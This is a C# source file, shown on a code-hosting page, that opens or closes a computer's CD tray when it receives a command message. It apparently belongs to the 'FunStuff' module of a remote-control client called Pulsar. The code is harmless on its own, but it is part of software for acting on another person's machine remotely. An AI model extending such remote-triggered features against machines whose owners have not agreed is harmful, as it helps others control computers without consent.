Files
PulsarK-main/Pulsar.Client/FunStuff/OpenCloseCDTray.cs
T

27 lines
767 B
C#
Raw Normal View History

2026-08-27 10:57:58 -06:00
using System;
using System.Runtime.InteropServices;
using System.Text;
using Pulsar.Common.Messages.FunStuff;
namespace Pulsar.Client.FunStuff
{
public class CDTray
{
[DllImport("winmm.dll", EntryPoint = "mciSendStringA")]
private static extern int mciSendString(string command, StringBuilder buffer, int bufferSize, IntPtr hwndCallback);
public void Handle(DoCDTray message)
{
try
{
string cmd = message.Open ? "set cdaudio door open" : "set cdaudio door closed";
mciSendString(cmd, null, 0, IntPtr.Zero);
}
catch (Exception ex)
{
Console.WriteLine("CDTray error: " + ex.Message);
}
}
}
}